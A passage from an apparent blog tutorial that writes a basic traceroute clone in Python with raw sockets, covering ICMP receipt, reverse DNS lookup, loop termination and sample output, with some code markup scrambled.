actually get our data from the receiving socket. For this, we can use the <code>recvfrom()</code> method of the object, whose return value is a tuple containing the packet data and the sender's address. In our case, we only care about the latter. Note that the address is itself actually a tuple containing both the IP address and the port, but we only care about the former. <code>recvfrom()</code> takes a single argument, the blocksize to read — let's go with <tt>512</tt>. </p> <p>It's worth noting that some administrators disable receiving ICMP <code>ECHO</code> requests, pretty much specifically to prevent the use of utilities like <code>traceroute</code>, since the detailed layout of a network can be sensitive information (another common reason to disable them is the <code>ping</code> utility, which can be used for denial-of-service attacks). It is therefore completely possible that we'll get a timeout error, which will result in an exception. Thus, we'll wrap this call in a <code>try/except</code> block. Traditionally, <code>traceroute</code> prints asterisks when it can't get the address of a host. We'll do the same once we print out">curr_addr< 6: Turn the IP addresses into hostnames and print the data.</strong> <p>To match <code>traceroute</code>'s behavior, we want to try to display the hostname along with the IP address. The <code>socket</code> module provides the <code>gethostbyaddr()</code> method for <a href="">reverse DNS resolution</a>. The resolution can fail and result in an exception, in which case we'll want to catch it and make the hostname the same as the address. Once we get the hostname, we have all the information we need to print our data: <="o"></span><span class="o"></span><span class="n">curr_name</span> <span class="o">=</span> <span class="bp">None</span><span class="o"></span><span class="o"><==="o"></span><span class="o"></span> <span class="n">ttl</span> <span class="o">+=</span> <span class="mi">1< 7: End the loop.</strong> <p>There are two conditions for exiting our loop — either we have reached our destination (that is, <code>curr_addr</code> is equal to <code>dest_addr</code>)<sup><a href="#ft1" name="ftlink1">1</a></sup> or we have exceeded some maximum number of hops. We will set our maximum at 30: <">max_hops</span> <span class="o">=</span> <span class="mi">30<="n">curr_name<="n">ttl</span> <span class="o">+=</span> <span class="mi">1</span> <span class="o"></span><span class="o"></span><span class="k">if</span> <span class="n">curr_addr</span> <span class="o">==</span> <span class="n">dest_addr</span> <span class="ow">or</span> <span class="n">ttl</span> <span class="o">&</span><span class="n">gt</span><span class="p">;</span> <span class="n">max_hops</span><span class="p">:</span> <span class="k">break</span><span class="o"></span> <span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span> <span class="n">main</span><span class="p">(</span><span class="s">'google.com'</span><span class="p">)</span> </pre> </div> <br /><strong>Step 8: Run the code!</strong> <p>We're done! Let's save this to a file and run it! Because raw sockets require root privileges, <code>traceroute</code> is typically setuid. For our purposes, we can just run the script as root: </p> <pre> $ sudo python poor-mans-traceroute.py [sudo] password for leonidg: 1 router.lan (192.168.1.1) 2 70.162.48.1 (70.162.48.1) 3 ge-2-20-ur01.cambridge.ma.boston.comcast.net (68.87.36.225) 4 be-51-ar01.needham.ma.boston.comcast.net (68.85.162.157) 5 pos-2-4-0-0-cr01.newyork.ny.ibone.comcast.net (68.86.90.61) 6 pos-0-3-0-0-pe01.111eighthave.ny.ibone.comcast.net (68.86.86.190) 7 as15169-3.111eighthave.ny.ibone.comcast.net (75.149.230.194) 8 72.14.238.232 (72.14.238.232) 9 216.239.48.24 (216.239.48.24) 10 173.194.33.104 (173.194.33.104)</pre> <p>Hurrah! The data matches the real <code>traceroute</code>'s perfectly. </p> <p>Of course, there are many improvements that we could make. As I mentioned, the real traceroute has a whole slew of other features, which you can learn about by reading the <a href="">manpage</a>. In the meantime, I wrote a slightly more complete version of the above code that allows configuring the port and max number of hops, as well as specifying the destination host. You can download it at my <a href="">github repository</a>. </p> <p>Alright folks, What UNIX utility should we write next? <a href="">strace</a>, anyone? :-) <sup><a href="#ft2" name="ftlink2">2</a></sup> </p> <div style="margin-top: 0.5em; "> <sup><a href="#ftlink1" name="ft1">1</a></sup> This is actually not quite how the real <code>traceroute</code> works. Rather than checking the IP addresses of the hosts and stopping when the destination address matches, it stops when it receives a ICMP "port unreachable" message, which means that the host has been reached. For our purposes, though, this simple address heuristic is good enough.<br /> <br /> <sup><a href="#ftlink2" name="ft2">2</a></sup> Ksplice blogger Nelson took up a DIY strace on his personal blog, <a href="">Made of Bugs</a>.</div> <p>~<a href="">leonidg</a></p> | http://blogs.oracle.com/ksplice/feed/entries/atom | CC-MAIN-2017-09 | refinedweb | 36,570 | 53.71 |
Wondering how to implement a Group restrictions on my Django site. I have function based views so I believe I need to;
from django.contrib.auth.decorators import permission_required @permission_required('polls.add_choice') def my_view(request): ...
As mentioned in the docs.
My question is regarding the syntax of the values in the brackets.
If my group is named coaches and I have the permissions set in the group what goes in the brackets?
As you can see my group “coaches” has three permissions. I can’t locate anywhere in the Django docs that has an example of how to implement the group. Like:
@permission_required('coaches') def my_view(request): ...
Know what I mean? | https://forum.djangoproject.com/t/group-permission-implementation/9399 | CC-MAIN-2022-21 | refinedweb | 111 | 70.5 |
Keeps a local data repository up to date with different remote data sources.
Project description
databird
Periodically retrieve data from different sources.
The
databird package only provides a framework to plan and run the tasks needed to keep a local data-file-store up do date with various remote sources.
The remote sources can be anything (e.g. FTP Server, ECMWF, HTTP Api, SQL database, ...), as long as there is a databird-driver available for the specific source.
Usage
Databird is configured with configuration files and invoked by
$ databird retrieve -c /etc/databird/databird.conf # or (as the above is the default) $ databird retrieve
You can store the configuration files anywhere and for example run the above command periodically as cron job.
Also, some rq workers are required:
$ rq worker databird
This will start one worker. You should use a supervisor to start multiple workers.
Configuration
The following example configuration defines a repository, which is populated with daily GNSS data from.
The main configuration file (usually
databird.conf) could look like that:
general: root: /data/repos # root path for data repositories num-workers: 16 # max number of async workers include: "databird.conf.d/*.conf" # include config files
Generally you can configure anything in any file, as all configuration files are merged to one configuration tree. The
include option is an exception, as it can only be declared in the top config file.
Then in
databird.conf.d/cddis.conf you can configure a profile and a repository:
profiles: nasa_cddis: driver: standard.FtpDriver configuration: host: cddis.nasa.gov user: anonymous password: "" tls: False repositories: nasa_gnss: description: Data from NASAs Archive of Space Geodesy Data profile: nasa_cddis period: 1 day delay: 2 days start: 2019-01-01 targets: status: "{time:%Y}/cddis_gnss_{iso_date}.status" configuration: user: anonymous # this could override 'user' from profile root: "/gnss/data/daily" patterns: status: "{time:%Y}/{time:%j}/{time:%y%j}.status"
When calling databird with this configuration the following is achieved:
- A repository in the folder
/data/repos/nasa_gnss/is created
- For every day, a file like
2019/nasa_gnss_2019-01-20.statusis expected
- If that file is missing, retrieve it from
- If there are many files missing, the data is retrieved asynchronously
This example used the
standard.FTPDriver.
Monitoring
Use
databird webmonitor [PORT] to start the web interface.
Since databird uses RQ for managing jobs, you also check the options at RQ/docs/monitoring.
Drivers
Anyone can write drivers (see below). Currently, the following drivers are available:
Included:
standard.FilesystemDriver: Retrieve data from the local filesystem
standard.CommandDriver: Run an arbitrary shell command
standard.FtpDriver: Retrieve data from an FTP server
Climate:
climate.EcmwfDriver: Retrieve data from the European Centre for Medium-Range Weather Forecasts (ECMWF) via their API
climate.C3SDriver: Retrieve data from the Copernicus Climate Change Service (C3S) via their API
climate.GesDiscDriver: Retrieve data from the NASA EarthData GES DISC service.
Development
- Create a Python environment and activate it
$ python3 -m venv . && source bin/activate
- Install the development environment:
(databird) $ pip install -r requirements-dev.txt
Writing a new driver
Drivers are published in a namespace package
databird-drivers. Everyone can develop drivers and share them.
Install
databird and run mr.bob to create a new driver package:
(databird) $ cd $HOME/projects (databird) $ python -m mrbob.cli databird.blueprints:driver
After answering some questions, a new directory
databird-driver-<chosen_name> is created.
Lets asume
<chosen_name> = foo, then your driver is usually implemented in
databird/drivers/foo/foo.py in a class named
FooDriver().
Until more documentation is available, you have to look at the code to figure out how to write a driver.
Other people will be able to use it with
driver: foo.FooDriver.
Tell me if you wrote a new driver, so I can include it in the list.
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages. | https://pypi.org/project/databird/ | CC-MAIN-2022-05 | refinedweb | 651 | 50.12 |
endless loop using ode_solve
Im solving a system equation within a for loop, but it never ends But its ok to evaluate f1(n) outside the loop.... why?
def f1(ll):
def f1(ll): T=ode_solver() f = lambda t,y:[y[1],eqa.subs(l=ll,s=y[0],w=y[1],x=t)] T.function=f T.y_0=[0,1] T.algorithm="rk4" T.t_span=[0,1] T.h=1 T.ode_solve(num_points=40) s=T.solution[-1][1][0]-1 return s for i in range(3) :f1(i) doesn't works except when f(1) ,otherwise the solver is unable to end. But f(1) or eqa(l=1) is the real solution--- :S
where eqa is
var('l s x w') eqa=((l^2 + l)*s - 2*w*x)/(x^2 - 1)
in the other hand this works
def g(ll): Sol=desolve_system_rk4([w,eqa(l=ll)],[s,w],ics=[0,0,1],end_points=[1.0],ivar=x,step=0.01) return (Sol[len(Sol)-1][1]-1) for i in range(3) :f1(i)
so.. whats the problem with ode_solver?
Just to check: Are you solving Legendre's DE?
yea, im just trying to learn Sage solving problems like this. for Pl(x)=x i found the eigenvalue l= 0.994838832387 using desolve_system_rk4. I just wanna to solve the problem using ode_solver and odeint.
how i do backtrace? the script doesn't crash.... it just calculate forever
Well... it seems to be that when the solver evaluates the function (eqa(t=1)) the solution diverges because the 1/t factor. But this doesn't happens with the desolver_system_rk4. i dont like this, maybe ode_solver is faster but.. it really has to have this kind of problems? | https://ask.sagemath.org/question/7612/endless-loop-using-ode_solve/ | CC-MAIN-2017-39 | refinedweb | 291 | 68.67 |
3.6. Introducing JupyterLab
JupyterLab is the next generation of the Jupyter Notebook. It aims at fixing many usability issues of the Notebook, exact same Notebook server and file format as the classic Jupyter Notebook, so that it is fully compatible with the existing notebooks and kernels. The Classic Notebook and Jupyterlab can run side to side on the same computer. One can easily switch between the two interfaces.
At the time of this writing, JupyterLab is still in an early stage of development. However, it is already fairly usable. The interface may change until the production release. The developer API used to customize JupyterLab is still not stable. There is no user documentation yet.
Getting ready
To install JupyterLab, type
conda install -c conda-forge jupyterlab in a terminal.
To be able to render GeoJSON files in an interactive map, install the GeoJSON JupyterLab extension with:
jupyter labextension install @jupyterlab/geojson-extension.
How to do it...
1. We can launch JupyterLab by typing
jupyter lab in a terminal. Then, we go to in the web browser.
2. The dashboard shows, on the left, a list of files and subdirectories in the current working directory. On the right, the launcher lets us create notebooks, text files, or open a Jupyter console or a terminal. Available Jupyter kernels are automatically displayed (here, IPython, but also IR and IJulia).
3. On the left panel, we can also see the list of open tabs, the list of running sessions, or the list of available commands:
4. If we open a Jupyter notebook, we get an interface that closely resembles the classic Notebook interface:
There are a few improvements compared to the classic Notebook. For example, we can drag and drop one or several cells:
We can also collapse cells.
5. If we right-click in the notebook, a contextual menu appears:
If we click on Create Console for Notebook, a new tab appears with a standard IPython console. We can drag and drop the tab anywhere in the screen, for example below the notebook panel:
The IPython console is connected to the same kernel as the Notebook, so they share the same namespace. We can also open a new IPython console from the launcher, running in a separate kernel.
6. We can also open a system shell directly in the browser, using the term.js library:
7. JupyterLab includes a text editor. We can create a new text file from the launcher, rename it by giving it the
.md extension, and edit it:
Let's right-click on the Markdown file. A contextual menu appears:
We can add a new panel that renders the Markdown file in real-time:
We can also attach an IPython console to our Markdown file. By clicking within a code block and pressing Shift+Enter, we send the code directly to the console:
8. We can also create and open CSV files in JupyterLab:
The CSV viewer is highly efficient. It can smoothly display huge tables with millions or even billions of values:
9. GeoJSON files (files that contain geographic information) can also be edited or viewed with the Leaflet mapping library:
There's more...
JupyterLab is fully extendable. In fact, the philosophy is that all existing features are implemented as plugins.
It is possible to work collaboratively on a notebook, like with Google Docs. This feature is still in active development at the time of this writing.
Here are a few references:
- JupyterLab GitHub project at
- Jupyter renderers at
- Talk at PyData 2017, available at
- Talk at PlotCON 2017, available at
- Talk at ESIP Tech, available at
- JupyterLab screencast at
- Realtime collaboration and cloud storage for JupyterLab through Google Drive, at
See also
- Introducing IPython and the Jupyter Notebook | https://ipython-books.github.io/36-introducing-jupyterlab/ | CC-MAIN-2019-09 | refinedweb | 622 | 63.59 |
David Holmes wrote: > Allow me to take a walk through the spec here :) This is all very interesting and making my brain hurt :-) I'm trying to figure out now if the JC vm does the right thing. Hopefully this email will not add to the confusion. JC will record C in the (internal to the VM) initiated types table associated with a class loader L if and only if: (a) L is the defining loader for C (i.e., L.defineClass(C) was called); or (b) L.loadClass(C) successfully returns after being called **from within the VM itself** (e.g., as a result of the VM's trying to resolve a symbolic reference). So if another loader L2 delegates the loading of C to L, then L is not marked as an initiating loader for C, as neither (a) nor (b) happens. Is this consistent and/or correct with the current understanding? Also: this discussion seems to imply that we require a native method that findLoadedClass() can use to ask the VM to look for C in its internal initiated types table associated with L.. is that correct? At one time I remember concluding that to satisfy the specs, even though the ClassLoader object may have a Hashtable of loaded classes or whatever, the VM must have its own internal initiated types table associated with each class loader. If this is true, then findLoadedClass() simply needs to look into it - requiring a native method. I believe this is because the VM can't rely on the ClassLoader implementation to do the right thing with respect to not trying to load the same class twice. Classpath has this: protected final synchronized Class findLoadedClass(String name) { // NOTE: If the VM is keeping its own cache, it may make sense to have // this method be native. return (Class) loadedClasses.get(name); } Perhaps then the comment should be removed and this method made native always? Thanks, -Archie __________________________________________________________________________ Archie Cobbs * CTO, Awarix * | http://lists.gnu.org/archive/html/classpath/2004-03/msg00182.html | CC-MAIN-2015-27 | refinedweb | 330 | 61.06 |
XMonad.Prompt.OrgMode
Description
A prompt for interacting with org-mode. This can be seen as an org-specific version of XMonad.Prompt.AppendFile, allowing for more interesting interactions with that particular file type.
It can be used to quickly save TODOs, NOTEs, and the like with the additional capability to schedule/deadline a task, or use the system's clipboard (really: the primary selection) as the contents of the note.
Synopsis
- orgPrompt :: XPConfig -> String -> FilePath -> X ()
- orgPromptPrimary :: XPConfig -> String -> FilePath -> X ()
- data ClipboardSupport
- data OrgMode
Usage
You can use this module by importing it, along with XMonad.Prompt, in
your
xmonad.hs
import XMonad.Prompt import XMonad.Prompt.OrgMode (orgPrompt)
and adding an appropriate keybinding. For example, using syntax from XMonad.Util.EZConfig:
, ("M-C-o", orgPrompt def "TODO" "/home/me/org/todos.org")
This would create notes of the form
* TODO my-message in the
specified file.
You can also enter a relative path; in that case the file path will be
prepended with
$HOME or an equivalent directory. I.e. instead of the
above you can write
, ("M-C-o", orgPrompt def "TODO" "org/todos.org") -- also possible: "~/org/todos.org"
There is also some scheduling and deadline functionality present. This
may be initiated by entering
+s or
+d—separated by at least one
whitespace character on either side—into the prompt, respectively.
Then, one may enter a date and (optionally) a time of day. Any of the
following are valid dates, where brackets indicate optionality:
- tod[ay]
- tom[orrow]
- any weekday
- any date of the form DD [MM] [YYYY]
In the last case, the missing month and year will be filled out with the current month and year.
For weekdays, we also disambiguate as early as possible; a simple
w
will suffice to mean Wednesday, but
s will not be enough to say
Sunday. You can, however, also write the full word without any
troubles. Weekdays always schedule into the future; e.g., if today is
Monday and you schedule something for Monday, you will actually schedule
it for the next Monday (the one in seven days).
The time is specified in the
HH:MM format. The minutes may be
omitted, in which case we assume a full hour is specified.
A few examples are probably in order. Suppose we have bound the key above, pressed it, and are now confronted with a prompt:
hello +s todaywould create a TODO note with the header
helloand would schedule that for today's date.
hello +s today 12schedules the note for today at 12:00.
hello +s today 12:30schedules it for today at 12:30.
hello +d today 12:30works just like above, but creates a deadline.
hello +s thuwould schedule the note for next thursday.
hello +s 11would schedule it for the 11th of this month and this year.
hello +s 11 jan 2013would schedule the note for the 11th of January 2013.
Note that, due to ambiguity concerns, years below
25 result in
undefined parsing behaviour. Otherwise, what should
message +s 11 jan
13 resolve to—the 11th of january at 13:00 or the 11th of january in
the year 13?
There's also the possibility to take what's currently in the primary
selection and paste that as the content of the created note. This is
especially useful when you want to quickly save a URL for later and
return to whatever you were doing before. See the
orgPromptPrimary
prompt for that.
Prompts
orgPromptPrimary :: XPConfig -> String -> FilePath -> X () Source #
Like
orgPrompt, but additionally make use of the primary
selection. If it is a URL, then use an org-style link
[[primary-selection][entered message]] as the heading. Otherwise,
use the primary selection as the content of the note.
The prompt will display a little
+ PS in the window
after the type of note.
Types
data ClipboardSupport Source #
Whether we should use a clipboard and which one to use.
Constructors | https://xmonad.github.io/xmonad-docs/xmonad-contrib-0.17.0.9/XMonad-Prompt-OrgMode.html | CC-MAIN-2022-27 | refinedweb | 656 | 57.06 |
the HashtableWithPlurals example, delegation would give you
this (note: as of JDK 1.2, Dictionary is considered obsolete; use Map
instead):
/** A version of Hashtable that lets you do
* table.put("dog", "canine");, and then have
* table.get("dogs") return "canine". **/
public class HashtableWithPlurals extends Dictionary {
Hashtable table = new Hashtable();
/** Make the table map both key and key + "s" to value. **/
public Object put(Object key, Object value) {
table.put(key + "s", value);
return table.put(key, value);
}
... // Need to implement other methods as well
}
The Properties example, if you wanted to enforce the interpretation
that default values are entries, would be better done with
delegation. Why was it done with inheritance, then? Because the Java
implementation team was rushed, and took the course that required
writing less code.
This tip is reprinted on JavaFAQ.nu by by courtesy of
Peter Norvig I am
thankful for his important contributions to my site - 21 Infrequently Answered
Java Questions. Alexandre Patchine
RSS feed Java FAQ News | http://www.javafaq.nu/java-article907.html | CC-MAIN-2014-41 | refinedweb | 164 | 59.5 |
Joseph D. Darcy's Oracle Weblog Joseph D. Darcy's Oracle Weblog 2013-12-08T23:33:56+00:00 Apache Roller>. </p> <img src="" alt="Rockin' Duke" />> Project Coin at JavaOne 2010 darcy 2010-09-20T15:22:03+00:00 2010-09-20T22:22:03+00:00 <p> This morning and early afternoon <a href="">Maurizio</a> and I gave our JavaOne talk about Project Coin to a packed room; the <a href="">slides for the talk</a> are now available. The NetBeans demo of Coin support also went smoothly. </p> <p> As announced earlier at JavaOne, we'll be following the "<a href="">plan B</a>" option for JDK 7 so the <a href="">accepted Coin features</a> that are not currently implemented will be reconsidered for JDK 8. In the meantime, we're interested to have more feedback on the Project Coin features </p> <ul> <li><p>Improved numeric literals </p> <li><p>Strings in switch </p> <li><p>Reduced varargs warnings </p> <li><p>Diamond operator </p> <li><p>Multi-catch with more precise rethrow </p> <li><p><code>try</code>-with-resources statement </p> </ul> <p> that are available to test out now in <a href="">JDK 7 builds</a>. </p> JavaOne 2010 Talks Scheduled darcy 2010-07-08T09:00:00+00:00 2010-07-08T16:00:00+00:00 <p> My <a href="" title="JavaOne 2010 Talks Accepted!">two JavaOne talks this year</a> have now been scheduled: </p> <ul> <li><p>Monday, September 20, 11:30AM, <b>Project Coin: Small Language Changes for JDK 7</b> </p> <blockquote> <b>Abstract:</b>. In addition, aspects of the selection process and criteria for general language evolution will be discussed. </blockquote> <li><p>Tuesday, September 21, 8:00PM, <b>Patents, Copyrights, and TMs: An Intellectual Property Primer for Engineers </b> </p> <blockquote> <b>Abstract:</b> Increasingly, software engineers interact with a complicated landscape of intellectual property (IP), from software patents, to various copyright licenses, to trademarks and trade secrets. Formulated in terms familiar to engineers, this session will summarize the different types of intellectual property, with a focus on U.S. law. Copyright terms, criteria for patentability, and freedom to operate will all be discussed with examples. The speaker is not a lawyer (he's an engineer) and this talk (and this abstract) does not constitute legal advice. However, the speaker has been issued several U.S. patents and has studied IP in a number of graduate courses. </blockquote> </ul> <p> Lots to do between now and September; see you in San Francisco! </p> JavaOne 2010 Talks Accepted! darcy 2010-05-10T16:14:10+00:00 2010-05-10T23:14:10+00:00 <p> I was happy to be notified today that I have two JavaOne talks accepted for this year. The first is a session on <i>Project Coin: Small Language Changes for JDK 7</i> in the core Java platform track. When I spoke at <a href="" title="JavaOne 2009: Project Coin Slides Posted">JavaOne 2009 about Project Coin</a>, the feature selection wasn't yet finalized and I covered some of the general concerns that influence language evolution and spoke on feature selection methodology. Now that <a href="" title="Project Coin: multi-catch and final rethrow">additional Coin features are becoming available in JDK 7 builds</a>, this year I expect to focus more on experiences implementing and using the new features. </p> <p> My second accepted talk is a bof on <i>Patents, Copyrights, and TMs: An Intellectual Property Primer for Engineers</i> over in the Java Frontier track. I've wanted to put together a talk on this topic for several years to condense what I've learned from taking a few classes on intellectual property and filing (and eventually getting issued) several patents. </p> <p> See you in San Francisco in a few short months! </p> JavaOne 2009: Project Coin Slides Posted darcy 2009-06-02T18:48:34+00:00 2009-06-03T01:48:34+00:00 <p> I presented my technical session about <a href="">Project Coin</a>, titled more verbosely <i>Small Language Changes in JDK™ Release 7</i>, this afternoon at JavaOne. I've posted <a href="">the slides</a>. Besides discussing the proposals <a href="">under further consideration</a>, I also went over some of the experiences from JDK 5 and other considerations we take into account when evolving the language. </p> JavaOne 2009: Small Language Changes in JDK™ Release 7 darcy 2009-04-15T12:32:07+00:00 2009-04-15T19:32:07+00:00 <p> My JavaOne 2009 proposal for a talk about <i>Small Language Changes in JDK™ Release 7</i> was accepted and scheduled for the first day of the conference, 3:20 PM to 4:20 PM on June 2, 2009. Besides discussing experiences evaluating proposals submitted to <a href="">Project Coin</a>, I plan to include some broader thoughts on Java language evolution, including sharing some informative war stories from back in JDK 5. </p> JavaOne: Slides for "Tips and Tricks" available darcy 2008-12-02T14:45:56+00:00 2008-12-02T22:45:56+00:00 <p> With the call for papers for JavaOne 2009 out, I thought it was high time to belatedly publish the slides for my JavaOne 2008 bof <i><a href="">Tips and Tricks for Using Language Features in API Design and Implementation</a></i>. </p> <p>. </p> <p> To provide some context for the slides, here are some excerpts of the talk. </p> <p> Leading up to JavaOne, I had been thinking a lot about compatibility, both in <a href="">general terms</a> as well as understanding the compatibility properties of <a href="">previous API work</a> and <a href="">possible future changes</a>.. </p> <p> <a href="">simpler example</a> discussed in the bof is an annotation processor to find methods and constructors that are candidates for conversion to var-args. </p> <p>. </p> <p> The last significant section of the talk is a brief defense of Java generics, a topic worthy of future elaboration. While very complicated in the worst cases, many common use cases are straightforward. </p> <p> Although I find these technical subjects interesting, I expect to be submitting talk proposals on other matters for JavaOne 2009. </p> JavaOne: Writing the next great Java book darcy 2008-05-14T22:56:55+00:00 2008-05-15T05:56:55+00:00 <p>. </p> <p> Brian advised to treat writing a book like running a software release, including version control over the text and code samples, as well as automated building and testing of any code. Brian's quote from Churchill, </p> <blockquote><p align=right> <i>.</p> <p align=right> —Winston Churchill </i> </p></blockquote> . </p> <p>, <a href="">Strunk and White </a> remains a model of clarity. He also explained how threats from family members can be a helpful motivation to finish a book! </p> <p> I've read books by Brian and Josh, but I haven't read Kathy and Bert's "Head First Java," which takes a less traditional, more graphical, approach to technical writing. Bert listed a number of books, including <i>What the Best College Teachers Do</i> and <i>Efficiency in Learning</i>, as having important insights to help manage the <i><a href="">cognitive load</a></i>. </p> <p> Besides books, I think the panel's advice is useful for other forms of writing too, having strong reviewers and keeping a concern for your reader are broadly applicable, and I'll keep their suggestions in mind for my future blogging. </p> JavaOne: Java + You = ... darcy 2008-05-08T10:00:00+00:00 2008-05-08T17:00:00+00:00 <p> In this year's JavaOne pavilion, you can get shirt's printed with your own answer to this year's <a href="">conference theme</a> posed as a question </p> <blockquote> <tt>JAVA + YOU = ?</tt> </blockquote> <p> While "<tt>JAVAYOU</tt>" would be a string-centric programmatic answer, with my floating-point czar hat on, my answer to this summation is "<tt>K9K4</tt>", which I computed with the following program: </p> <blockquote><pre> public class JavaPlusYouSum { private static final StringJSR 269</a>, and plan to talk on topics ranging from maintaining different kinds of compatibility, to subtleties of using interfaces versus abstract classes, to an analogy between the proper use of generics and the Mandelbrot set. </p> Joe's JavaOne Presentation Archive darcy 2006-05-24T20:09:54+00:00 2006-05-25T03:09:54+00:00 Here is a <a href="">webpage</a> I've assembled with links to pdf files for most of the JavaOne bofs and technical sessions I've given over the last six years. Slides for Annotation Processing with JSR 269 darcy 2006-05-24T19:48:06+00:00 2006-05-25T02:48:06+00:00 Here are the <a href="">slides</a> for <i>Annotation Processing with JSR 269</i>, which other members of the JSR 269 expert group and I presented at JavaOne last week. Slides for Generics Best Practices darcy 2006-05-22T15:00:00+00:00 2006-05-22T22:03:27+00:00 Here are the <a href="">slides</a> for BOF-0160: <i>Best Practices With Generics and Other Java™ Platform 5.0 Language Features</i>, which <a href="">Peter</a> and I gave at JavaOne last week. Ask an Expert darcy 2006-05-14T18:44:07+00:00 2006-05-15T07:49:02+00:00 If you want to chat with me about annotation processing, core reflection, numerics, generics, or other language features, I'll be at Sun's "<a href="">Ask the Experts</a>" area of the <a href="">Java SE Community</a> booth #723, located near the racetrack, at the following times: <ul> <li> Tuesday, May 16, noon to 1 PM </ul> Annotation Processing at JavaOne 2006 darcy 2006-05-14T18:34:30+00:00 2006-05-15T03:23:30+00:00 This year's JavaOne has a few talks on the uses of annotation processing. Besides, the JSR 269 bof, <ul> plan to attend bofs by some other 269 EG members: <ul> <li><a href=""> BOF-4886</a>: <i>Eclipse Tooling for Java™ Technology-Based Annotations</i>, Tim Hanson, Jess Garms, and Gary Horen, from BEA Systems, Inc.<br> Tuesday, May 16, 10:30 PM to 11:20 PM in Moscone Center Esplanade 304/306 <li><a href=""> BOF-0723</a>: <i>Compile Time Assertions: Enforcing Extralinguistic Constraints</i>, Bruce Chapman<br> Wednesday, May 17, 7:30 PM to 8:20 PM in Moscone Center Gateway 104 </ul> To get an introduction to writing annotation processors in Mustang, check out the annotation processing example in the <a href="">Mustang</a> <a href="">hand-on lab</a>. <p>Scott and I will also be at Sun's "Ask the Experts" area to answer questions about annotation processing and other topics: <ul> <li>Joe: Tuesday, May 16, noon to 1 PM <li>Scott: Wednedsay, May 17, 5:00 PM to 6 PM </ul> JavaOne 2006 Speaking Schedule darcy 2006-05-11T01:19:40+00:00 2006-05-14T21:25:07+00:00 JavaOne 2006 is fast approaching! <p>I'll be speaking at a number of bofs this year: <ul> <li><a href="">BOF-0160</a>: <i>Best Practices With Generics and Other Java™ Platform 5.0 Language Features</i> (speaking with <a href="">Peter</a>)<br> Wednesday, May 17, 8:30 PM to 9:20 PM in Moscone Center North Mtg Rm 121/122 'll also be on hand at a few other bofs to help field questions: <ul> <li><a href=""> BOF-0159</a>: <i>Java™ Programming Language and Compiler Issues for the Java Platform</i><br> Wednesday, May 17, 9:30 PM to 10:20 PM in Moscone Center Hall E 133 <li><a href=""> BOF-0601</a>: <i>Meet the Java™ Platform, Standard Edition (Java SE) Core Libraries Engineering Team</i><br> Thursday, May 18, 7:30 PM to 8:20 PM in Moscone Center Hall E 133 </ul> | http://blogs.oracle.com/darcy/feed/entries/atom?cat=%2FJavaOne | CC-MAIN-2014-42 | refinedweb | 2,011 | 51.41 |
view raw
I have this code and i am really curious about why it is not working. The problem is in
k = discord.Server.get_member(j)
"TypeError: get_member() missing 1 required positional argument: 'user_id'".
@client.event
async def on_message(message):
if message.content.startswith('/sendpm'):
print(message.author)
j = message.content.replace('/sendpm ', '')
print(j)
j = j.replace('@', '')
j = j.replace('<', '')
j = j.replace('>', '')
j = j.replace('!', '')
print(l)
k = discord.Server.get_member(j) #problem is here
await client.send_message(await client.start_private_message(k), spammsg)
await client.send_message(message.channel, 'sent' + message.author.mention)
This code is accessing a method of
discord.Server as if it was a static method:
k = discord.Server.get_member(j)
Function
get_member is defined as:
def get_member(self, user_id):
It accepts
self as the first argument because it is meant to be called on an instance, e.g.:
server = discord.Server() server.get_member(user_id)
Whether that is the correct way to get a
Server instance I do not know. This example seems to have a different way to get to a server instance:
@client.event async def on_member_join(member): server = member.server fmt = 'Welcome {0.mention} to {1.name}!' await client.send_message(server, fmt.format(member, server)) | https://codedump.io/share/AIK4IoIP9fA7/1/discord-api-getmemberuserid-errors | CC-MAIN-2017-22 | refinedweb | 202 | 55.61 |
How To: Split a String using System.String.Split Thomas Robbins — Nov 10, 2009 .netc# A fairly common task is parsing strings. One of the easiest ways that I found to accomplish this is to use the System.String.Split method. In this post we will look at a simple console application that uses this method. We will create an array of characters that are used to determine which characters are used as the delimiters in the returned array of string. In this console application I start by building an array of delimiters and then pass them to the Split method and each word in the sentence is displayed using the resulting array of strings. using System; using System.Collections.Generic; using System.Text; namespace SplitExample { class Program { static void Main(string[] args) { //Build the list of delimeters char[] delimiterChars = { ' ', ',', '.', ':', '\t' }; string text = "item1\titem2 item3:item4,item5 item6 item7"; System.Console.WriteLine("Input Text: '{0}'", text); //Split them apart string[] words = text.Split(delimiterChars); System.Console.WriteLine("{0} Number words in text:", words.Length); //display them out foreach (string s in words) { System.Console.WriteLine(s); } Console.WriteLine("Press enter to continue"); Console.ReadLine(); } } } When run it parses the strings as follows Share this article on Twitter Facebook LinkedIn Thomas RobbinsGoogle Plus I spend my time working with partners and customers extending their marketing and technology to the fullest. Comments New subscription Leave message Your email: | https://devnet.kentico.com/articles/how-to--split-a-string-using-system-string-split | CC-MAIN-2019-47 | refinedweb | 237 | 58.89 |
Memory use with repeated creation/destruction of ListView's
Hi, everyone.
Qt 4.7.3, Windows
Qt 4.7.2, Linux fedora
I have a problem with a program we are currently developing here. We repeatedly create and destroy ListView's and it seems that memory is leaking.
Our code is in C++ (with QDeclarativeComponent::create), but one of my co-workers wrote a QML-only version that exhibits the problem in QMLViewer. I attached the two QML files to the present message. Load the memory_leak.qml file in QMLViewer and press Return repeatedly (or hold it down) to create ListView's from TemplateListView.qml.
If you check the memory used by the QMLViewer process, you will see it increase in time. You can add pictures in the model/view to make it more obvious.
What are we doing wrong?
2 Files below:
main.qml
@
import QtQuick 1.0
Item{
id: root
function createList(){ var qtComponent = Qt.createComponent("TemplateListView.qml"); var qtObject = qtComponent.createObject(container); if (qtObject == null){ console.log("Error in createList() : qtObject is null !"); return; } container.isEmpty = false; } width: 500 height: 600 focus: true Keys.onReturnPressed: if (container.isEmpty) createList() Text{ anchors.horizontalCenter: parent.horizontalCenter anchors.top: parent.top anchors.topMargin: 40 width: 500 height: 40 text: "press Return to create a listview and the listview will auto destructs after 100 ms." } Item{ id: container property bool isEmpty: true anchors.top: parent.top anchors.topMargin: 100 width: 500 height: 500 } ListModel{ id: myModel ListElement{ label: "label1" } ListElement{ label: "label2" } ListElement{ label: "label3" } ListElement{ label: "label4" } ListElement{ label: "label5" } ListElement{ label: "label6" } ListElement{ label: "label7" } ListElement{ label: "label8" } ListElement{ label: "label9" } ListElement{ label: "label10" } }
}
@
TemplateListView.qml
@
import QtQuick 1.0
ListView{
id: template
